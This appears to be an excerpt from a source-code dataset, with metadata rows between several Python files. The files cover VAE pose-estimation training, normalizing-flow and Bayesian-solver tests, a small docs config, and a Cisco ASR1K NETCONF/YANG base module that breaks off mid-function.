print('Epoch: {}, Error frame 1 vs pred: {}'.format(epoch, error_2_pred.result()))
tf.print('\nSaving samples...')
gen_sample_img(data_test, model=model, idx=idx)
data_train.on_epoch_end()
data_test.on_epoch_end(avoid_suffle=True)
ckpt.step.assign_add(1)
save_path = manager.save()
print("Checkpoint saved: {}".format(save_path))
data_handler.plot_history([('Train Loss', loss_train_history),
('Test Loss', loss_test_history)],
xlabel='Epochs',
ylabel='Loss',
fname='loss.png')
data_handler.plot_history([('Pred error', pred_error_history),
('Frame err 4vsPred', error_3_pred_history)],
xlabel='Epochs',
ylabel='Error',
fname='error.png')
model.save_weights('./experiments/vae_concat_seq/last_model_weights')
with open('./experiments/vae_concat_seq/train.cfg', 'w') as cfg:
json.dump(vars(ENV.FLAGS), cfg)
data_handler.save_history(loss_train_history, 'train_loss.npy')
data_handler.save_history(loss_test_history, 'test_loss.npy')
def evaluate():
data2d, data3d = data_handler.load_2d_3d_data(return_raw=True)
model_2d23d = models.PoseBase()
ainput = np.ones((10, 32), dtype=np.float32)
model_2d23d(ainput, training=False)
model_2d23d.load_weights('pretrained_models/4874200_PoseBase/PoseBase')
seq_len = 3
human_3d_size = 48
model_vae_kin = models.VAE(seq_len*human_3d_size,
latent_dim=ENV.FLAGS.latent_dim,
enc_dim=ENV.FLAGS.enc_dim,
dec_dim=ENV.FLAGS.dec_dim)
model_vae_kin.load_weights('experiments/vae_concat_seq/last_model_weights')
error_2d_3d = tf.keras.metrics.Mean()
error_vae_kin = tf.keras.metrics.Mean()
noise_log = []
for key2d in tqdm(data2d.test.keys(), ascii=True):
err23d = tf.keras.metrics.Mean()
errvk = tf.keras.metrics.Mean()
tqdm.write("Subject: {}, action: {}, fname: {}".format(*key2d))
key3d = data_handler.get_key3d(key2d)
x_in = data2d.test[key2d]
x_out = data3d.test[key3d]
x_in = np.array_split(x_in, x_in.shape[0])
x_out = np.array_split(x_out, x_out.shape[0])
buffer = []
for x_2d, y_3d in tqdm(zip(x_in, x_out), total=len(x_in), ascii=True):
pred_3d = model_2d23d(x_2d, training=False)
if len(buffer) == 0:
buffer = [pred_3d[0] for _ in range(seq_len)]
buffer.append(pred_3d[0])
buffer.pop(0)
vin = np.array([np.concatenate(buffer)])
ref_3d = model_vae_kin(vin, training=False)
buffer[-1] = ref_3d[0]
err1 = losses.ELBO.compute_pred_error(y_3d, pred_3d)
err2 = losses.ELBO.compute_pred_error(y_3d, ref_3d)
err23d(err1)
errvk(err2)
error_2d_3d(err1)
error_vae_kin(err2)
noise_log.append(err1)
tqdm.write("Err 2d-3d: {}, VAE: {}".format(err23d.result(), errvk.result()))
print("Pred error 2d to 3d:", error_2d_3d.result())
print("Pred error vae filter:", error_vae_kin.result())
print(tf.math.reduce_mean(noise_log))
print(tf.math.reduce_std(noise_log))
print(tf.math.reduce_min(noise_log))
print(tf.math.reduce_max(noise_log))
def main():
with tf.device('/device:GPU:%d' % ENV.FLAGS.gpu_device):
if ENV.FLAGS.evaluate:
evaluate()
else:
train()
if __name__ == "__main__":
ENV.setup()
main()
| true | true |
f73c521e7d7fc1eba953a258dc33bb4db1a06886 | 322 | py | Python | foundryapp/config/docs.py | umaepoch/foundryapp | 75e20cb399b114d416d3bdd286edd8c5a4690c75 | [
"MIT"
] | null | null | null | foundryapp/config/docs.py | umaepoch/foundryapp | 75e20cb399b114d416d3bdd286edd8c5a4690c75 | [
"MIT"
] | null | null | null | foundryapp/config/docs.py | umaepoch/foundryapp | 75e20cb399b114d416d3bdd286edd8c5a4690c75 | [
"MIT"
] | null | null | null | """
Configuration for docs
"""
# source_link = "https://github.com/[org_name]/foundryapp"
# docs_base_url = "https://[org_name].github.io/foundryapp"
# headline = "App that does everything"
# sub_heading = "Yes, you got that right the first time, everything"
def get_context(context):
context.brand_html = "FoundryApp"
| 26.833333 | 68 | 0.729814 |
def get_context(context):
context.brand_html = "FoundryApp"
| true | true |
f73c53166d10ae4448e1c7a06c7d15799e1c95a4 | 1,969 | py | Python | test/test_normalizing_flows.py | qpwodlsqp/torchdyn | aa26dc0ea22acedfce6744f0bff10f551d175a2f | [
"Apache-2.0"
] | null | null | null | test/test_normalizing_flows.py | qpwodlsqp/torchdyn | aa26dc0ea22acedfce6744f0bff10f551d175a2f | [
"Apache-2.0"
] | null | null | null | test/test_normalizing_flows.py | qpwodlsqp/torchdyn | aa26dc0ea22acedfce6744f0bff10f551d175a2f | [
"Apache-2.0"
] | null | null | null | import torch
import torch.nn as nn
from torch.distributions import MultivariateNormal
from torchdyn.models import NeuralODE
from torchdyn import Augmenter
from torchdyn.models.cnf import CNF, hutch_trace, autograd_trace
def test_cnf_vanilla():
device = torch.device('cpu')
net = nn.Sequential(
nn.Linear(2, 512),
nn.ELU(),
nn.Linear(512, 2)
)
defunc = CNF(net)
nde = NeuralODE(defunc, solver='dopri5', s_span=torch.linspace(0, 1, 2), atol=1e-5, rtol=1e-5, sensitivity='adjoint')
model = nn.Sequential(Augmenter(augment_idx=1, augment_dims=1),
nde).to(device)
x = torch.randn((512, 2)).to(device)
out = model(x)
assert out.shape[1] == x.shape[1] + 1
def test_hutch_vanilla():
device = torch.device('cpu')
net = nn.Sequential(
nn.Linear(2, 512),
nn.ELU(),
nn.Linear(512, 2)
)
noise_dist = MultivariateNormal(torch.zeros(2).to(device), torch.eye(2).to(device))
defunc = nn.Sequential(CNF(net, trace_estimator=hutch_trace, noise_dist=noise_dist))
nde = NeuralODE(defunc, solver='dopri5', s_span=torch.linspace(0, 1, 2), atol=1e-5, rtol=1e-5, sensitivity='adjoint')
model = nn.Sequential(Augmenter(augment_idx=1, augment_dims=1),
nde).to(device)
x = torch.randn((512, 2)).to(device)
out = model(x)
assert out.shape[1] == x.shape[1] + 1
def test_hutch_estimator_gauss_noise():
noise_dist = MultivariateNormal(torch.zeros(2), torch.eye(2))
x_in = torch.randn((64, 2), requires_grad=True)
m = nn.Sequential(nn.Linear(2, 32), nn.Softplus(), nn.Linear(32, 2))
x_out = m(x_in)
trJ = autograd_trace(x_out, x_in)
hutch_trJ = torch.zeros(trJ.shape)
for i in range(10000):
x_out = m(x_in)
eps = noise_dist.sample((64,))
hutch_trJ += hutch_trace(x_out, x_in, noise=eps)
assert (hutch_trJ / 10000 - trJ < 1e-1).all()
| 37.150943 | 121 | 0.631285 | import torch
import torch.nn as nn
from torch.distributions import MultivariateNormal
from torchdyn.models import NeuralODE
from torchdyn import Augmenter
from torchdyn.models.cnf import CNF, hutch_trace, autograd_trace
def test_cnf_vanilla():
device = torch.device('cpu')
net = nn.Sequential(
nn.Linear(2, 512),
nn.ELU(),
nn.Linear(512, 2)
)
defunc = CNF(net)
nde = NeuralODE(defunc, solver='dopri5', s_span=torch.linspace(0, 1, 2), atol=1e-5, rtol=1e-5, sensitivity='adjoint')
model = nn.Sequential(Augmenter(augment_idx=1, augment_dims=1),
nde).to(device)
x = torch.randn((512, 2)).to(device)
out = model(x)
assert out.shape[1] == x.shape[1] + 1
def test_hutch_vanilla():
device = torch.device('cpu')
net = nn.Sequential(
nn.Linear(2, 512),
nn.ELU(),
nn.Linear(512, 2)
)
noise_dist = MultivariateNormal(torch.zeros(2).to(device), torch.eye(2).to(device))
defunc = nn.Sequential(CNF(net, trace_estimator=hutch_trace, noise_dist=noise_dist))
nde = NeuralODE(defunc, solver='dopri5', s_span=torch.linspace(0, 1, 2), atol=1e-5, rtol=1e-5, sensitivity='adjoint')
model = nn.Sequential(Augmenter(augment_idx=1, augment_dims=1),
nde).to(device)
x = torch.randn((512, 2)).to(device)
out = model(x)
assert out.shape[1] == x.shape[1] + 1
def test_hutch_estimator_gauss_noise():
noise_dist = MultivariateNormal(torch.zeros(2), torch.eye(2))
x_in = torch.randn((64, 2), requires_grad=True)
m = nn.Sequential(nn.Linear(2, 32), nn.Softplus(), nn.Linear(32, 2))
x_out = m(x_in)
trJ = autograd_trace(x_out, x_in)
hutch_trJ = torch.zeros(trJ.shape)
for i in range(10000):
x_out = m(x_in)
eps = noise_dist.sample((64,))
hutch_trJ += hutch_trace(x_out, x_in, noise=eps)
assert (hutch_trJ / 10000 - trJ < 1e-1).all()
| true | true |
f73c5331449528e397708b27286fd68396b37a45 | 2,239 | py | Python | tests/unit_tests/inference/dynesty_/test_solver.py | BAMresearch/probeye | ff018ef629f7d5ce4a263b6656b363f90ab6be02 | [
"MIT"
] | null | null | null | tests/unit_tests/inference/dynesty_/test_solver.py | BAMresearch/probeye | ff018ef629f7d5ce4a263b6656b363f90ab6be02 | [
"MIT"
] | 42 | 2021-08-24T06:50:17.000Z | 2022-03-25T09:05:41.000Z | tests/unit_tests/inference/dynesty_/test_solver.py | BAMresearch/probeye | ff018ef629f7d5ce4a263b6656b363f90ab6be02 | [
"MIT"
] | 2 | 2021-11-14T22:30:54.000Z | 2022-02-28T13:39:00.000Z | # standard library
import logging
import unittest
# third party imports
import numpy as np
# local imports
from probeye.definition.forward_model import ForwardModelBase
from probeye.definition.sensor import Sensor
from probeye.definition.inference_problem import InferenceProblem
from probeye.definition.noise_model import NormalNoiseModel
from probeye.inference.dynesty_.solver import DynestySolver
class TestProblem(unittest.TestCase):
def test_dynesty_solver(self):
np.random.seed(6174)
# define the forward model
class LinRe(ForwardModelBase):
def __call__(self, inp):
x = inp["x"]
a = inp["a"]
b = inp["b"]
return {"y": a * x + b}
# set up the problem
problem = InferenceProblem("Linear regression")
problem.add_parameter("a", "model", prior=("normal", {"loc": 0, "scale": 1}))
problem.add_parameter("b", "model", prior=("normal", {"loc": 0, "scale": 1}))
problem.add_parameter(
"sigma", "noise", prior=("uniform", {"low": 0.1, "high": 1})
)
problem.add_forward_model(
"LinRe", LinRe(["a", "b"], [Sensor("x")], [Sensor("y")])
)
problem.add_noise_model(NormalNoiseModel({"sigma": "std"}, sensors=Sensor("y")))
# generate and add some simple test data
n_tests = 5000
true = {"a": 0.3, "b": -0.2, "sigma": 0.1}
x_test = np.linspace(0.0, 1.0, n_tests)
y_true = true["a"] * x_test + true["b"]
y_test = np.random.normal(loc=y_true, scale=true["sigma"])
problem.add_experiment(
f"Tests", fwd_model_name="LinRe", sensor_values={"x": x_test, "y": y_test}
)
# run the dynesty solver with deactivated output
logging.root.disabled = True
dynesty_solver = DynestySolver(problem, show_progress=True, seed=6174)
dynesty_solver.run_dynesty("dynamic", nlive_init=10, nlive_batch=10, maxbatch=2)
sample_means = dynesty_solver.summary["mean"]
for parameter, true_value in true.items():
self.assertAlmostEqual(sample_means[parameter], true_value, delta=0.01)
if __name__ == "__main__":
unittest.main()
| 35.539683 | 88 | 0.623046 |
import logging
import unittest
import numpy as np
from probeye.definition.forward_model import ForwardModelBase
from probeye.definition.sensor import Sensor
from probeye.definition.inference_problem import InferenceProblem
from probeye.definition.noise_model import NormalNoiseModel
from probeye.inference.dynesty_.solver import DynestySolver
class TestProblem(unittest.TestCase):
def test_dynesty_solver(self):
np.random.seed(6174)
class LinRe(ForwardModelBase):
def __call__(self, inp):
x = inp["x"]
a = inp["a"]
b = inp["b"]
return {"y": a * x + b}
problem = InferenceProblem("Linear regression")
problem.add_parameter("a", "model", prior=("normal", {"loc": 0, "scale": 1}))
problem.add_parameter("b", "model", prior=("normal", {"loc": 0, "scale": 1}))
problem.add_parameter(
"sigma", "noise", prior=("uniform", {"low": 0.1, "high": 1})
)
problem.add_forward_model(
"LinRe", LinRe(["a", "b"], [Sensor("x")], [Sensor("y")])
)
problem.add_noise_model(NormalNoiseModel({"sigma": "std"}, sensors=Sensor("y")))
n_tests = 5000
true = {"a": 0.3, "b": -0.2, "sigma": 0.1}
x_test = np.linspace(0.0, 1.0, n_tests)
y_true = true["a"] * x_test + true["b"]
y_test = np.random.normal(loc=y_true, scale=true["sigma"])
problem.add_experiment(
f"Tests", fwd_model_name="LinRe", sensor_values={"x": x_test, "y": y_test}
)
logging.root.disabled = True
dynesty_solver = DynestySolver(problem, show_progress=True, seed=6174)
dynesty_solver.run_dynesty("dynamic", nlive_init=10, nlive_batch=10, maxbatch=2)
sample_means = dynesty_solver.summary["mean"]
for parameter, true_value in true.items():
self.assertAlmostEqual(sample_means[parameter], true_value, delta=0.01)
if __name__ == "__main__":
unittest.main()
| true | true |
f73c53791017cdf460d634decdb7c3cba711c54f | 33,192 | py | Python | asr1k_neutron_l3/models/netconf_yang/ny_base.py | sapcc/asr1k-neutron-l3 | 2ee729156a456b8a7ab0ce7df36136c4e80962a5 | [
"Apache-2.0"
] | 4 | 2017-11-30T20:07:53.000Z | 2021-01-28T03:34:17.000Z | asr1k_neutron_l3/models/netconf_yang/ny_base.py | sapcc/asr1k-neutron-l3 | 2ee729156a456b8a7ab0ce7df36136c4e80962a5 | [
"Apache-2.0"
] | 43 | 2018-02-20T21:16:43.000Z | 2021-08-03T14:13:01.000Z | asr1k_neutron_l3/models/netconf_yang/ny_base.py | sapcc/asr1k-neutron-l3 | 2ee729156a456b8a7ab0ce7df36136c4e80962a5 | [
"Apache-2.0"
] | 1 | 2021-07-15T13:15:03.000Z | 2021-07-15T13:15:03.000Z | # Copyright 2017 SAP SE
#
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import time
import eventlet
import eventlet.debug
import dictdiffer
import six
eventlet.debug.hub_exceptions(False)
from oslo_log import log as logging
from oslo_utils import uuidutils
from asr1k_neutron_l3.common import asr1k_exceptions as exc
from asr1k_neutron_l3.models import asr1k_pair
from asr1k_neutron_l3.models.connection import ConnectionManager
from asr1k_neutron_l3.models.netconf_yang.xml_utils import JsonDict, OPERATION
from asr1k_neutron_l3.models.netconf_yang.bulk_operations import BulkOperations
from asr1k_neutron_l3.common.prometheus_monitor import PrometheusMonitor
from asr1k_neutron_l3.common.exc_helper import exc_info_full
from ncclient.operations.rpc import RPCError
from ncclient.transport.errors import SessionCloseError
from ncclient.transport.errors import SSHError
from ncclient.operations.errors import TimeoutExpiredError
LOG = logging.getLogger(__name__)
class NC_OPERATION(object):
DELETE = 'delete'
REMOVE = 'remove'
CREATE = 'create'
PUT = 'replace'
PATCH = 'merge'
OVERRIDE = 'override'
class YANG_TYPE(object):
EMPTY = 'empty'
class classproperty(property):
def __get__(self, cls, owner):
return self.fget.__get__(None, owner)()
class Requeable(object):
# Marker class to indicate an object may be requed when an operation fails
def requeable_operations(self):
return []
class IgnorePartialKeys(set):
def __contains__(self, key):
return super(IgnorePartialKeys, self).__contains__(key) or \
isinstance(key, tuple) and super(IgnorePartialKeys, self).__contains__(key[-1])
class execute_on_pair(object):
def __init__(self, return_raw=False, result_type=None):
self.return_raw = return_raw
self.result_type = PairResult
if result_type is not None:
self.result_type = result_type
def _execute_method(self, *args, **kwargs):
method = kwargs.pop('_method')
result = kwargs.pop('_result')
context = kwargs['context']
try:
response = method(*args, **kwargs)
# if we wrap in a wrapped method return the
# base result
if isinstance(response, self.result_type):
result = response
else:
result.append(context, response)
except BaseException as e:
LOG.error(e, exc_info=exc_info_full())
result.append(context, e)
def __call__(self, method):
@six.wraps(method)
def wrapper(*args, **kwargs):
start = time.time()
result = self.result_type(args[0], method.__name__)
if not self.return_raw:
pool = eventlet.GreenPool()
for context in asr1k_pair.ASR1KPair().contexts:
kwargs['context'] = context
kwargs['_method'] = method
kwargs['_result'] = result
pool.spawn_n(self._execute_method, *args, **kwargs)
pool.waitall()
else:
# Context passed explitly execute once and return
# base result
if kwargs.get('context') is None:
kwargs['context'] = asr1k_pair.ASR1KPair().contexts[0]
try:
response = method(*args, **kwargs)
result = response
except Exception as e:
raise e
if isinstance(result, self.result_type):
if not result.success:
LOG.warning(result.errors)
result.raise_errors()
duration = time.time() - start
if hasattr(result, 'duration'):
setattr(result, 'duration', duration)
return result
return wrapper
class retry_on_failure(object):
def __init__(self, retry_interval=0.1, max_retry_interval=20, backoff=True):
self.retry_interval = retry_interval
self.max_retry_interval = max_retry_interval
self.backoff = backoff
super(retry_on_failure, self).__init__()
def __call__(self, f):
@six.wraps(f)
def wrapper(*args, **kwargs):
uuid = uuidutils.generate_uuid()
retries = 0
exception = None
entity = args[0]
context = kwargs.get('context')
host = None
if context is not None:
host = context.host
backoff = self.retry_interval
start = time.time()
total_retry = 0
while total_retry < self.max_retry_interval:
total_retry += backoff
if retries > 0:
LOG.debug("** [{}] request {} : Retry method {} on {} retries {} backoff {}s : {}s of {}s elapsed"
"".format(host, uuid, f.__name__,
entity.__class__.__name__, retries, backoff,
time.time() - start, self.max_retry_interval))
backoff = pow(2, retries) * self.retry_interval
try:
result = f(*args, **kwargs)
if result is not None and not isinstance(result, PairResult) and not result.ok:
time.sleep(self.retry_interval)
retries += 1
else:
if retries > 0:
LOG.debug("** [{}] request {} : Method {} on {} succeeded after {} attempts in {}s"
"".format(host, uuid, f.__name__,
entity.__class__.__name__, retries, time.time() - start))
return result
except exc.DeviceUnreachable as e:
if context is not None:
if context.alive:
LOG.error("Device {} not reachable anymore, setting alive to false".format(host),
exc_info=exc_info_full())
LOG.debug("** [{}] request {}: Device is not reachable anymore: {}".format(host, uuid, e))
context.mark_alive(False)
break
except exc.EntityNotEmptyException as e:
if total_retry < self.max_retry_interval:
LOG.debug("** [{}] request {} : retry {} of {} on {} entity has child config , "
"will backoff and retry "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
pass # retry on lock
else:
LOG.debug(
"** [{}] request {} : retry {} of {} on {}entity has child config , "
"retry limit reached, failing "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
time.sleep(backoff)
retries += 1
exception = e
except (RPCError, SessionCloseError, SSHError, TimeoutExpiredError, exc.EntityNotEmptyException) as e:
if isinstance(e, RPCError):
LOG.error(e, exc_info=exc_info_full())
operation = f.__name__
if e.tag in ['data-missing']:
return None
elif e.message == "resource denied: Sync is in progress":
PrometheusMonitor().rpc_sync_errors.labels(device=context.host,
entity=entity.__class__.__name__,
action=operation).inc()
raise exc.ReQueueableInternalErrorException(host=host, entity=entity, operation=operation)
elif e.message == 'inconsistent value: Device refused one or more commands':
# the data model is not compatible with the device
LOG.debug("{} {} {}".format(entity.__class__.__name__, operation, e.to_dict()))
PrometheusMonitor().inconsistency_errors.labels(device=context.host,
entity=entity.__class__.__name__,
action=operation).inc()
raise exc.InconsistentModelException(device=context.host, host=host,
entity=entity, operation=operation, info=e.info)
elif e.message == 'internal error':
# something can't be configured maybe due to transient state
# e.g. BGP session active these should be requeued
LOG.debug(e.to_dict())
if isinstance(entity, Requeable) and operation in entity.requeable_operations():
PrometheusMonitor().requeue.labels(device=context.host,
entity=entity.__class__.__name__,
action=f.__name__).inc()
raise exc.ReQueueableInternalErrorException(host=host, entity=entity,
operation=operation)
else:
PrometheusMonitor().internal_errors.labels(device=context.host,
entity=entity.__class__.__name__,
action=f.__name__).inc()
raise exc.InternalErrorException(host=host, entity=entity, operation=operation,
info=e.info)
elif e.tag in ['in-use']: # Lock
PrometheusMonitor().config_locks.labels(device=context.host,
entity=entity.__class__.__name__,
action=f.__name__).inc()
if total_retry < self.max_retry_interval:
LOG.debug("** [{}] request {} : retry {} of {} on {} hit config lock , "
"will backoff and retry "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
pass # retry on lock
else:
LOG.debug(
"** [{}] request {} : retry {} of {} on {} hit config lock , "
"retry limit reached, failing "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
raise exc.ConfigurationLockedException(host=host, entity=entity, operation=operation)
else:
LOG.debug(e.to_dict())
elif isinstance(e, SSHError):
PrometheusMonitor().nc_ssh_errors.labels(device=context.host, entity=entity.__class__.__name__,
action=f.__name__).inc()
LOG.exception(e)
elif isinstance(e, exc.EntityNotEmptyException):
raise exc.ReQueueableInternalErrorException(host=host, entity=entity, operation=operation)
else:
LOG.exception(e)
time.sleep(backoff)
retries += 1
exception = e
if exception is not None:
LOG.error(entity, exc_info=exc_info_full())
raise exception
return wrapper
class PairResult(object):
def __init__(self, entity, operation):
self.entity = entity
self.operation = operation
self.results = {}
self.errors = {}
self.show_success = True
self.show_failure = True
self.duration = -1
def append(self, context, response):
if isinstance(response, BaseException):
self.errors[context.host] = response
else:
self.results[context.host] = response
@property
def success(self):
return (not bool(self.errors)) and bool(self.results)
@property
def error(self):
return bool(self.errors)
def raise_errors(self):
# Operation will start in _ as we use the internal CRD call on each device
# to evaluate whether to to raise we use raise_on_create/delete/update so we trim the first char
operation = self.operation
if operation.startswith('_'):
operation = operation[1:]
check_attr = 'raise_on_{}'.format(operation)
should_raise = False
if hasattr(self.entity, check_attr):
should_raise = getattr(self.entity, check_attr)
for host, error in six.iteritems(self.errors):
if should_raise and isinstance(error, exc.DeviceOperationException) and error.raise_exception:
raise error
def __str__(self):
result = ''
if self.success and self.show_success:
result = "** Success for [{}] action [{}]\n".format(self.entity.__class__.__name__, self.operation)
for host in self.results:
result += "[{}] : {}\n".format(host, self.results.get(host))
if self.error and self.show_failure:
result = "** Errors for [{}] action [{}]\n".format(self.entity.__class__.__name__, self.operation)
for host in self.errors:
error = self.errors.get(host, None)
if hasattr(self.entity, 'to_xml'):
result += "{}\n".format(self.entity.to_xml(context=None))
result += "{} : {} : {}\n".format(host, error.__class__.__name__, error)
return result
def to_dict(self):
result = {}
for host in self.results:
host_result = self.results.get(host)
if host_result is not None:
result[host] = self.results.get(host).to_dict()
else:
result[host] = {}
return result
class DiffResult(PairResult):
@property
def valid(self):
valid = True
for host in self.results.keys():
diffs = self.results.get(host)
valid = valid and not diffs
return valid
@property
def invalid_devicess(self):
results = []
for host in self.results.keys():
diffs = self.results.get(host)
if len(diffs) > 0:
results.append(host)
return results
@property
def diffs(self):
return self.results
def diffs_for_device(self, host):
return self.results.get(host, [])
def to_dict(self):
result = {}
for host in self.results:
result[host] = self.results.get(host)
return result
# def __str__(self):
# result = ''
# for host in self.results.keys():
# result = result + "{} : {} {} : {} \n".format(host,self.entity,self.valid,self.results.get(host))
#
#
# return result
class NyBase(BulkOperations):
_ncc_connection = {}
PARENT = 'parent'
EMPTY_TYPE = {}
LIST_KEY = ""
@classmethod
def __parameters__(cls):
return []
def __init__(self, **kwargs):
# Should we delete even if object reports not existing
#
self.force_delete = False
self.from_device = kwargs.get("from_device", False)
# Should fatal exceptions be raised
self.raise_on_create = True
self.raise_on_update = True
self.raise_on_delete = True
self.raise_on_valid = False
id_field = "id"
if self.__parameters__():
for param in self.__parameters__():
key = param.get('key')
yang_key = param.get('yang-key', key)
default = param.get('default')
mandatory = param.get('mandatory', False)
# use first id field, there can be only one
if param.get('id', False) and id_field == 'id':
id_field = key
value = kwargs.get(key)
if value is None:
value = kwargs.get(yang_key)
if value is None:
value = kwargs.get(yang_key.replace("_", "-"))
if value is None and default is not None:
value = default
if isinstance(value, int) and not isinstance(value, bool):
value = str(value)
if mandatory and value is None:
pass
# raise Exception("Missing mandatory paramter {}".format(key))
else:
if isinstance(value, list):
new_value = []
for item in value:
item = self._get_value(param, item)
new_value.append(item)
value = new_value
else:
value = self._get_value(param, value)
setattr(self, key, value)
if self.PARENT in kwargs:
setattr(self, self.parent, kwargs)
self.__id_function__(id_field, **kwargs)
def _get_value(self, param, item):
type = param.get('type')
if isinstance(type, list):
type = type[0]
if type is not None and item is not None and not isinstance(item, type) and \
not isinstance(item, str) and not type == str:
return type(**item)
return item
def __id_function__(self, id_field, **kwargs):
self.id = str(kwargs.get(id_field))
if self.id is None:
raise Exception("ID field {} is None".format(id_field))
def __str__(self):
json = self.to_dict(context=asr1k_pair.FakeASR1KContext())
if isinstance(json, dict):
value = JsonDict(json).__str__()
else:
value = json.__str__()
if value is None:
value = ""
return value
def __repr__(self):
return "{} at {} ({})".format(self.__class__.__name__, id(self), str(self))
# Define what constitutes an empty diff
# defaults to the empty type for the class
def empty_diff(self):
return self.EMPTY_TYPE
@classmethod
def get_item_key(cls, context):
return cls.ITEM_KEY
def _diff(self, context, other):
self_json = self._to_plain_json(self.to_dict(context=context))
other_json = {}
if other is not None:
other_json = self._to_plain_json(other.to_dict(context=context))
else:
other_json = self.empty_diff()
return self.__json_diff(self_json, other_json)
def __json_diff(self, self_json, other_json):
ignore = [OPERATION]
for param in self.__parameters__():
if not param.get('validate', True):
ignore.append(param.get('key', param.get('yang-key')))
diff = self.__diffs_to_dicts(dictdiffer.diff(self_json, other_json, ignore=IgnorePartialKeys(ignore)))
return diff
def __diffs_to_dicts(self, diffs):
result = []
if not isinstance(diffs, list):
diffs = list(diffs)
if diffs:
for diff in diffs:
if len(diff) == 3:
neutron = None
device = None
if len(diff[2]) == 1:
if diff[0] == 'add':
device = diff[2][0]
else:
neutron = diff[2][0]
elif len(diff[2]) == 2:
neutron = diff[2][0]
device = diff[2][1]
result.append({'entity': self.id,
'type': diff[0],
'item': diff[1],
'neutron': neutron,
'device': device})
return result
@classmethod
def from_json(cls, json, context, parent=None):
try:
if not bool(json):
return None
params = {
'from_device': True,
}
for param in cls.__parameters__():
if param.get('deserialise', True):
key = param.get('key', "")
cisco_key = key.replace("_", "-")
yang_key = param.get("yang-key", cisco_key)
yang_path = param.get("yang-path")
type = param.get("type")
values = json
if yang_path is not None:
path = yang_path.split("/")
for path_item in path:
if bool(values):
values = values.get(path_item)
if isinstance(values, list):
LOG.error("Unexpected list found for %s path %s values %s",
cls.__name__, yang_path, values)
if bool(values) is None:
LOG.error("Invalid yang segment %s in %s please check against yang model. "
"Values: %s", path_item, yang_path, values)
if bool(values):
if param.get('yang-type') == YANG_TYPE.EMPTY:
if yang_key in values:
value = True
else:
value = False
elif isinstance(type, list) and param.get('root-list', False):
value = values
elif hasattr(values, 'get'):
value = values.get(yang_key)
else:
value = values
if type is not None:
if isinstance(type, list):
type = type[0]
result = []
if isinstance(value, list):
for v in value:
if isinstance(v, dict) and not type == str:
v[cls.PARENT] = params
result.append(type.from_json(v, context))
else:
result.append(v)
else:
if value is not None and not isinstance(value, str) and not type == str:
value[cls.PARENT] = params
result.append(type.from_json(value, context))
elif value is not None:
result.append(value)
value = result
else:
value = type.from_json(value, context)
if isinstance(value, dict) and value == {}:
value = True
params[key] = value
except Exception as e:
LOG.exception(e)
return cls(**params)
@classmethod
def get_primary_filter(cls, **kwargs):
return cls.ID_FILTER.format(id=kwargs.get('id'))
@classmethod
def get_all_filter(cls, **kwargs):
return cls.ALL_FILTER.format(**kwargs)
@classmethod
@execute_on_pair(return_raw=True)
def get(cls, id, context):
return cls._get(id=id, context=context)
@classmethod
@execute_on_pair(return_raw=True)
def exists(cls, id, context):
return cls._exists(id=id, context=context)
@classmethod
def _get(cls, **kwargs):
try:
xpath_filter = kwargs.get('xpath_filter')
if not xpath_filter:
nc_filter = kwargs.get('nc_filter')
if nc_filter is None:
nc_filter = cls.get_primary_filter(**kwargs)
context = kwargs.get('context')
with ConnectionManager(context=context) as connection:
if xpath_filter:
result = connection.xpath_get(filter=xpath_filter, entity=cls.__name__, action="get")
else:
result = connection.get(filter=nc_filter, entity=cls.__name__, action="get")
result = cls.from_xml(result.xml, context)
if result is not None:
# Add missing primary keys from get
cls.__ensure_primary_keys(result, **kwargs)
return result
except exc.DeviceUnreachable:
pass
@classmethod
def from_xml(cls, xml_str, context):
data = cls.to_json(xml_str, context)
if data is not None:
data = data.get(cls.get_item_key(context))
if data is not None:
return cls.from_json(data, context)
@classmethod
def _get_all(cls, **kwargs):
result = []
try:
xpath_filter = kwargs.get('xpath_filter', None)
if xpath_filter is None:
nc_filter = kwargs.get('nc_filter')
if nc_filter is None:
nc_filter = cls.get_all_filter(**kwargs.get('filter'))
context = kwargs.get('context')
with ConnectionManager(context=context) as connection:
if xpath_filter is not None:
rpc_result = connection.xpath_get(filter=xpath_filter, entity=cls.__name__, action="xpath_get_all")
else:
rpc_result = connection.get(filter=nc_filter, entity=cls.__name__, action="get_all")
json = cls.to_json(rpc_result.xml, context)
if json is not None:
json = json.get(cls.get_item_key(context), json)
if isinstance(json, list):
for item in json:
result.append(cls.from_json(item, context))
else:
result.append(cls.from_json(json, context))
# Add missing primary keys from get
for item in result:
cls.__ensure_primary_keys(item, **kwargs)
except exc.DeviceUnreachable:
pass
except Exception as e:
LOG.exception(e)
return result
@classmethod
def __ensure_primary_keys(cls, item, **kwargs):
# Add missing primary keys from get
params = cls.__parameters_as_dict()
for key in kwargs.keys():
param = params.get(key, {})
if key != 'context' and param.get('primary_key', False):
setattr(item, key, kwargs.get(key))
@classmethod
def __parameters_as_dict(cls):
result = {}
for param in cls.__parameters__():
result[param.get('key')] = param
return result
@classmethod
def _exists(cls, **kwargs):
try:
result = cls._get(**kwargs)
except Exception as e:
LOG.exception(e)
result = None
if result is not None:
return True
return False
def _internal_exists(self, context):
kwargs = self.__dict__
kwargs['context'] = context
return self.__class__._exists(**kwargs)
def _internal_get(self, context):
kwargs = self.__dict__
kwargs['context'] = context
return self.__class__._get(**kwargs)
@classmethod
@execute_on_pair()
def get_all(cls, filter={}, context=None):
return cls._get_all_mass(context=context)
@execute_on_pair()
def create(self, context):
return self._create(context=context)
@retry_on_failure()
def _create(self, context):
with ConnectionManager(context=context) as connection:
result = connection.edit_config(config=self.to_xml(context, operation=NC_OPERATION.PUT),
entity=self.__class__.__name__,
action="create")
return result
@execute_on_pair()
def update(self, context, method=NC_OPERATION.PATCH):
return self._update(context=context, method=method)
@retry_on_failure()
def _update(self, context, method=NC_OPERATION.PATCH, json=None, preflight=True, postflight=False,
internal_validate=True):
if not internal_validate or len(self._internal_validate(context=context)) > 0:
if preflight:
self.preflight(context)
if postflight:
self.postflight(context, method)
